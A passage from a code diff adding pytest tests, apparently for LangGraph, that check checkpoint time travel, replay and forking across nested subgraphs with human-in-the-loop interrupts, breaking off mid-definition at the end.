--- + called.clear() + replay_result = graph.invoke(None, sub_config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 2?" + # step_a and ask_1 should NOT re-run — they were before this checkpoint + assert "step_a" not in called + assert "ask_1" not in called + + # --- Scenario 2: Fork from subgraph checkpoint at 2nd interrupt --- + called.clear() + fork_config = graph.update_state(sub_config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + +def test_subgraph_time_travel_resume_from_first_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the first interrupt, then + resume through both interrupts with new answers. + + This verifies the key bug fix: after time-traveling to a subgraph + checkpoint with an interrupt, a fork checkpoint is created so that + subsequent resumes find the correct state (not the old branch tip). + + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + + Parent history after original run completes: + source=input next=(__start__,) values=[] + source=loop next=(executor,) values=[] + source=loop next=() values=[step_a_done, ask_1:answer_1, ask_2:answer_2] + + After time-traveling to 1st interrupt + resuming with new answers: + source=input next=(__start__,) values=[] + source=loop next=(executor,) values=[] <-- branch point + source=loop next=() values=[..., ask_2:answer_2] (old branch) + source=fork next=(executor,) values=[] <-- fork from time travel + source=loop next=() values=[..., ask_2:new_answer_2] (new branch) + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # --- Original run: hit both interrupts and resume --- + graph.invoke({"value": []}, config) + sub_config_at_first = graph.get_state(config, subgraphs=True).tasks[0].state.config + graph.invoke(Command(resume="answer_1"), config) + graph.invoke(Command(resume="answer_2"), config) + + original = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # --- Time travel to first interrupt's subgraph checkpoint --- + called.clear() + replay_result = graph.invoke(None, sub_config_at_first) + assert replay_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called # before interrupt, not re-executed + + # Fork is now the latest parent checkpoint + post_tt = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"]) for s in post_tt] == [ + ("fork", ("executor",)), # <-- new fork (latest) + ("loop", ()), # original done + ("loop", ("executor",)), + ("input", ("__start__",)), + ] + + # --- Resume both interrupts with new answers --- + called.clear() + resume_1 = graph.invoke(Command(resume="new_answer_1"), config) + assert resume_1["__interrupt__"][0].value == "Question 2?" + assert "ask_1" in called + + called.clear() + resume_2 = graph.invoke(Command(resume="new_answer_2"), config) + assert resume_2["value"] == [ + "step_a_done", + "ask_1:new_answer_1", + "ask_2:new_answer_2", + ] + + # Verify final history: original branch preserved, new branch appended + final = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch (from time travel fork) + ( + "loop", + (), + {"value": ["step_a_done", "ask_1:new_answer_1", "ask_2:new_answer_2"]}, + ), + ("fork", ("executor",), {"value": []}), + # Original branch (preserved) + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +def test_subgraph_time_travel_resume_from_second_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the second interrupt, then + resume with a new answer. The first interrupt's answer should be preserved. + + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + + Key assertion: after resuming from a time-travel to the 2nd interrupt, + the final state keeps ask_1's original answer but uses the new ask_2 answer. + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # --- Original run: hit both interrupts and resume --- + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="answer_1"), config) + sub_config_at_second = graph.get_state(config, subgraphs=True).tasks[0].state.config + graph.invoke(Command(resume="answer_2"), config) + + original = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # --- Time travel to second interrupt --- + called.clear() + replay_result = graph.invoke(None, sub_config_at_second) + assert replay_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called # already resolved, not re-executed + + # Fork is now the latest parent checkpoint + post_tt = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"]) for s in post_tt] == [ + ("fork", ("executor",)), # <-- new fork (latest) + ("loop", ()), # original done + ("loop", ("executor",)), + ("input", ("__start__",)), + ] + + # --- Resume with a new answer for ask_2 only --- + called.clear() + resume_result = graph.invoke(Command(resume="new_answer_2"), config) + # ask_1's original answer preserved, ask_2 uses the new answer + assert resume_result["value"] == [ + "step_a_done", + "ask_1:answer_1", + "ask_2:new_answer_2", + ] + + # Verify final history: original branch preserved, new branch appended + final = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch (from time travel fork) + ( + "loop", + (), + {"value": ["step_a_done", "ask_1:answer_1", "ask_2:new_answer_2"]}, + ), + ("fork", ("executor",), {"value": []}), + # Original branch (preserved) + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +def test_subgraph_time_travel_checkpoint_pattern( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Verify the checkpoint pattern created by time travel to a subgraph + interrupt. A fork checkpoint should branch from the replay point and + become the latest parent checkpoint. + + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> ask (interrupt) --> END + + Original run (after completing): + source=input next=(__start__,) values=[] + source=loop next=(executor,) values=[] <-- replay point + source=loop next=() values=[a:first] + + After time travel to interrupt + resume with "second": + source=input next=(__start__,) values=[] + source=loop next=(executor,) values=[] <-- branch point + source=loop next=() values=[a:first] (old branch) + source=fork next=(executor,) values=[] <-- fork + source=loop next=() values=[a:second] (new branch) + """ + + def ask(state: State) -> State: + answer = interrupt("Q?") + return {"value": [f"a:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("ask", ask) + .add_edge(START, "ask") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt, then complete + graph.invoke({"value": []}, config) + sub_config = graph.get_state(config, subgraphs=True).tasks[0].state.config + graph.invoke(Command(resume="first"), config) + + original = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["a:first"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # Time travel to the interrupt + graph.invoke(None, sub_config) + + # Fork is now the latest, branching from the original replay point + post_tt = list(graph.get_state_history(config)) + post_tt_summary = _checkpoint_summary(post_tt) + assert [(s["source"], s["next"]) for s in post_tt_summary] == [ + ("fork", ("executor",)), # <-- new fork (latest) + ("loop", ()), + ("loop", ("executor",)), # <-- replay point / fork parent + ("input", ("__start__",)), + ] + # Verify the fork's parent is the original replay point + replay_point_id = sub_config["configurable"]["checkpoint_map"][""] + assert post_tt[0].parent_config["configurable"]["checkpoint_id"] == replay_point_id + + # Resume from the fork — graph completes with new answer + result = graph.invoke(Command(resume="second"), config) + assert result["value"] == ["a:second"] + + final = _checkpoint_summary(list(graph.get_state_history(config))) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch + ("loop", (), {"value": ["a:second"]}), + ("fork", ("executor",), {"value": []}), + # Original branch + ("loop", (), {"value": ["a:first"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +def test_subgraph_time_travel_after_completion( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint AFTER both interrupts are resolved. + + Architecture: + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + + After completing the full flow, capture the subgraph's final state checkpoint + and replay from it — should be a no-op (no nodes re-run). + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run through both interrupts + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="answer_1"), config) + + # Before resuming 2nd interrupt, get state history to find the + # subgraph checkpoint that will exist after ask_2 completes + graph.invoke(Command(resume="answer_2"), config) + + # Get the final parent state — no pending tasks + final_state = graph.get_state(config) + assert len(final_state.tasks) == 0 + + # Replay from the final parent checkpoint — should be a no-op + called.clear() + replay_result = graph.invoke(None, final_state.config) + assert "__interrupt__" not in replay_result + assert "step_a" not in called + assert "ask_1" not in called + assert "ask_2" not in called + # All values should be present + assert "step_a_done" in replay_result["value"] + assert "ask_1:answer_1" in replay_result["value"] + assert "ask_2:answer_2" in replay_result["value"] + + +def test_3_levels_deep_time_travel_to_first_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to the innermost subgraph checkpoint at the FIRST interrupt. + + Architecture: + Parent: START --> outer (subgraph, checkpointer=True) --> END + Outer: START --> inner (subgraph, checkpointer=True) --> END + Inner: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("inner", inner) + .add_edge(START, "inner") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt + result = graph.invoke({"value": []}, config) + assert result["__interrupt__"][0].value == "Question 1?" + + # Capture innermost subgraph state at the first interrupt + parent_state = graph.get_state(config, subgraphs=True) + mid_state = parent_state.tasks[0].state + inner_config = mid_state.tasks[0].state.config + + # Resume through both interrupts to complete + graph.invoke(Command(resume="answer_1"), config) + graph.invoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay from innermost checkpoint at 1st interrupt --- + called.clear() + replay_result = graph.invoke(None, inner_config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + assert "ask_1" in called + + # --- Scenario 2: Fork from innermost checkpoint at 1st interrupt --- + called.clear() + fork_config = graph.update_state(inner_config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + assert "ask_1" in called + + +def test_3_levels_deep_time_travel_to_second_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to the innermost subgraph checkpoint at the SECOND interrupt. + + Architecture: + Parent: START --> outer (subgraph, checkpointer=True) --> END + Outer: START --> inner (subgraph, checkpointer=True) --> END + Inner: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("inner", inner) + .add_edge(START, "inner") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt + graph.invoke({"value": []}, config) + + # Resume first interrupt + result = graph.invoke(Command(resume="answer_1"), config) + assert result["__interrupt__"][0].value == "Question 2?" + + # Capture innermost subgraph state at the second interrupt + parent_state = graph.get_state(config, subgraphs=True) + mid_state = parent_state.tasks[0].state + inner_config = mid_state.tasks[0].state.config + + # Resume second interrupt to complete + graph.invoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay from innermost checkpoint at 2nd interrupt --- + called.clear() + replay_result = graph.invoke(None, inner_config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + # --- Scenario 2: Fork from innermost checkpoint at 2nd interrupt --- + called.clear() + fork_config = graph.update_state(inner_config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + +def test_3_levels_deep_time_travel_to_middle_subgraph( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to the MIDDLE-level subgraph checkpoint (not innermost). + + Architecture: + Parent: START --> outer (subgraph, checkpointer=True) --> END + Outer: START --> inner (subgraph, checkpointer=True) --> END + Inner: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + + After completing the full flow, time travel back to the middle subgraph's + checkpoint at the second interrupt. The middle subgraph should replay the + inner subgraph from the correct point. + """ + + called: list[str] = [] + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("inner", inner) + .add_edge(START, "inner") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt + graph.invoke({"value": []}, config) + + # Resume first, capture middle config at second interrupt + graph.invoke(Command(resume="answer_1"), config) + parent_state = graph.get_state(config, subgraphs=True) + mid_config = parent_state.tasks[0].state.config + + # Resume second to complete + graph.invoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay from middle-level subgraph checkpoint --- + # The middle subgraph's checkpoint knows about the inner subgraph's state + # via checkpoint_map, so the inner replays from the correct point. + called.clear() + replay_result = graph.invoke(None, mid_config) + assert "__interrupt__" in replay_result + + # --- Scenario 2: Fork from middle-level subgraph checkpoint --- + called.clear() + fork_config = graph.update_state(mid_config, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + + +def test_3_levels_deep_middle_has_interrupts( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel when the MIDDLE subgraph itself has interrupts. + + Architecture: + Parent: START --> outer (subgraph, checkpointer=True) --> END + Outer: START --> pre (interrupt) --> inner (subgraph, checkpointer=True) --> END + Inner: START --> step_a --> ask_1 (interrupt) --> END + + Flow: run through both interrupts (pre then ask_1), then time travel back to + the middle subgraph checkpoint at each interrupt point. + """ + + called: list[str] = [] + + def pre(state: State) -> State: + called.append("pre") + answer = interrupt("Pre-question?") + return {"value": [f"pre:{answer}"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("pre", pre) + .add_node("inner", inner) + .add_edge(START, "pre") + .add_edge("pre", "inner") + .add_edge("inner", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt (pre in middle subgraph) + result = graph.invoke({"value": []}, config) + assert result["__interrupt__"][0].value == "Pre-question?" + + # Capture middle subgraph config at the pre interrupt + parent_state = graph.get_state(config, subgraphs=True) + mid_config_at_pre = parent_state.tasks[0].state.config + + # Resume pre, hits ask_1 in inner subgraph + result = graph.invoke(Command(resume="pre_answer"), config) + assert result["__interrupt__"][0].value == "Question 1?" + + # Capture middle subgraph config at the ask_1 interrupt + parent_state = graph.get_state(config, subgraphs=True) + mid_config_at_ask1 = parent_state.tasks[0].state.config + + # Resume ask_1 to complete + result = graph.invoke(Command(resume="answer_1"), config) + assert "__interrupt__" not in result + + # --- Time travel to middle checkpoint at pre interrupt --- + called.clear() + replay_result = graph.invoke(None, mid_config_at_pre) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Pre-question?" + # pre should re-fire (interrupt replays), but nothing else should run + assert "pre" in called + assert "step_a" not in called + assert "ask_1" not in called + + # Fork from middle checkpoint at pre interrupt + called.clear() + fork_config = graph.update_state(mid_config_at_pre, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Pre-question?" + assert "pre" in called + assert "step_a" not in called + + # --- Time travel to middle checkpoint at ask_1 interrupt --- + called.clear() + replay_result = graph.invoke(None, mid_config_at_ask1) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 1?" + # pre should NOT re-run (it completed before this checkpoint) + assert "pre" not in called + # ask_1 re-fires + assert "ask_1" in called + + # Fork from middle checkpoint at ask_1 interrupt + called.clear() + fork_config = graph.update_state(mid_config_at_ask1, {"value": ["forked"]}) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 1?" + assert "pre" not in called + assert "ask_1" in called + + +# --------------------------------------------------------------------------- +# Section 6: __copy__ / update_state(None) +# --------------------------------------------------------------------------- + + +def test_copy_fork_retriggers_interrupt( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork using __copy__ (no state changes) from checkpoint before interrupt. + The interrupt is re-triggered because __copy__ creates a new checkpoint + without cached resume values. Resume with new answer to verify.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="hello"), config) + + history = list(graph.get_state_history(config)) + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + called.clear() + fork_config = graph.update_state(before_ask.config, None, as_node="__copy__") + + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "What is your input?" + + final = graph.invoke(Command(resume="new_answer"), fork_config) + assert final == {"value": ["a", "human:new_answer", "b"]} + + +def test_copy_fork_creates_sibling_checkpoint( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """__copy__ creates a checkpoint with source="fork", while regular + update_state creates one with source="update".""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + graph.invoke({"value": []}, config) + + history = list(graph.get_state_history(config)) + before_b = next(s for s in history if s.next == ("node_b",)) + + # __copy__ fork → source="fork" + copy_config = graph.update_state(before_b.config, None, as_node="__copy__") + copy_state = graph.get_state(copy_config) + assert copy_state.metadata["source"] == "fork" + + # Regular update → source="update" + regular_config = graph.update_state(before_b.config, {"value": ["x"]}) + regular_state = graph.get_state(regular_config) + assert regular_state.metadata["source"] == "update" + + +def test_update_state_with_none_values( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """update_state with None values (not __copy__) goes through the normal + update path, creating a new checkpoint that re-triggers interrupts.""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def ask_human(state: State) -> State: + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + graph.invoke({"value": []}, config) + graph.invoke(Command(resume="hello"), config) + + history = list(graph.get_state_history(config)) + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + fork_config = graph.update_state(before_ask.config, None) + fork_result = graph.invoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "What is your input?" + + fork_state = graph.get_state(fork_config) + assert fork_state.metadata["source"] == "update" + + +# --------------------------------------------------------------------------- +# Section 7: Observability (get_state, config access) +# --------------------------------------------------------------------------- + + +def test_get_state_with_subgraphs_returns_subgraph_state( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """get_state(config, subgraphs=True) returns subgraph state and checkpoint + config when paused at interrupt.""" + + class SubState(TypedDict): + data: str + + def sub_node(state: SubState) -> SubState: + interrupt("Continue?") + return {"data": "processed"} + + subgraph = ( + StateGraph(SubState) + .add_node("process", sub_node) + .add_edge(START, "process") + .compile() + ) + + class ParentState(TypedDict): + data: str + + graph = ( + StateGraph(ParentState) + .add_node("sub", subgraph) + .add_edge(START, "sub") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + graph.invoke({"data": "input"}, config) + + state = graph.get_state(config, subgraphs=True) + + assert len(state.tasks) > 0 + sub_task = state.tasks[0] + assert sub_task.state is not None + + sub_config = sub_task.state.config + assert "configurable" in sub_config + assert "thread_id" in sub_config["configurable"] + + +def test_checkpoint_ns_accessible_in_subgraph( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """RunnableConfig exposes checkpoint_ns and thread_id inside subgraph + nodes.""" + + captured_config: dict = {} + + class SubState(TypedDict): + data: str + + def sub_node(state: SubState, config: RunnableConfig) -> SubState: + captured_config["checkpoint_ns"] = config["configurable"].get("checkpoint_ns") + captured_config["thread_id"] = config["configurable"].get("thread_id") + return {"data": "done"} + + subgraph = ( + StateGraph(SubState) + .add_node("inner", sub_node) + .add_edge(START, "inner") + .compile() + ) + + class ParentState(TypedDict): + data: str + + graph = ( + StateGraph(ParentState) + .add_node("outer", subgraph) + .add_edge(START, "outer") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + graph.invoke({"data": "test"}, config) + + assert captured_config["checkpoint_ns"] is not None + assert captured_config["checkpoint_ns"] != "" + assert captured_config["thread_id"] == "1" + + +# --------------------------------------------------------------------------- +# Section 8: Stateful vs stateless subgraph state retention on replay +# --------------------------------------------------------------------------- + + +def test_stateful_subgraph_retains_state_on_parent_replay( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Stateful subgraph (checkpointer=True) remembers accumulated state + from prior invocations when the parent replays.""" + started: list[tuple[str, dict]] = [] + observed: list[tuple[str, dict]] = [] + + class SubState(TypedDict): + value: Annotated[list[str], operator.add] + + class ParentState(TypedDict): + results: Annotated[list[str], operator.add] + + def parent_node(state: ParentState) -> ParentState: + return {"results": ["p"]} + + def step_a(state: SubState) -> SubState: + started.append(("step_a", dict(state))) + answer = interrupt("question_a") + observed.append(("step_a", dict(state))) + return {"value": [f"a:{answer}"]} + + def step_b(state: SubState) -> SubState: + started.append(("step_b", dict(state))) + answer = interrupt("question_b") + observed.append(("step_b", dict(state))) + return {"value": [f"b:{answer}"]} + + sub = ( + StateGraph(SubState) + .add_node("step_a", step_a) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "step_b") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(ParentState) + .add_node("parent_node", parent_node) + .add_node("sub_node", sub) + .add_edge(START, "parent_node") + .add_edge("parent_node", "sub_node") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # === 1st invocation: answer "a1" and "b1" === + graph.invoke({"results": []}, config) # hits step_a interrupt + graph.invoke(Command(resume="a1"), config) # hits step_b interrupt + graph.invoke(Command(resume="b1"), config) # completes + + # step_a saw empty state (fresh subgraph) + assert observed[0] == ("step_a", {"value": []}) + # step_b saw step_a's answer + assert observed[1] == ("step_b", {"value": ["a:a1"]}) + + # === 2nd invocation: answer "a2" and "b2" === + observed.clear() + graph.invoke({"results": []}, config) # hits step_a interrupt + graph.invoke(Command(resume="a2"), config) # hits step_b interrupt + graph.invoke(Command(resume="b2"), config) # completes + + # Stateful subgraph retained state from 1st invocation + assert observed[0] == ("step_a", {"value": ["a:a1", "b:b1"]}) + assert observed[1] == ("step_b", {"value": ["a:a1", "b:b1", "a:a2"]}) + + # === Replay from checkpoint before sub_node in 2nd invocation === + history = list(graph.get_state_history(config)) + # History is newest-first, so first match = 2nd invocation + before_sub_2nd = [s for s in history if s.next == ("sub_node",)][0] + + started.clear() + replay = graph.invoke(None, before_sub_2nd.config) + + assert "__interrupt__" in replay + # Replay sees 1st invocation's final state, NOT 2nd invocation's + assert started[0] == ("step_a", {"value": ["a:a1", "b:b1"]}) + + +def test_stateful_subgraph_retains_state_on_parent_fork( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Stateful subgraph (checkpointer=True) remembers accumulated state + from prior invocations when the parent forks.""" + observed: list[tuple[str, dict]] = [] + + class SubState(TypedDict): + value: Annotated[list[str], operator.add] + + class ParentState(TypedDict): + results: Annotated[list[str], operator.add] + + def 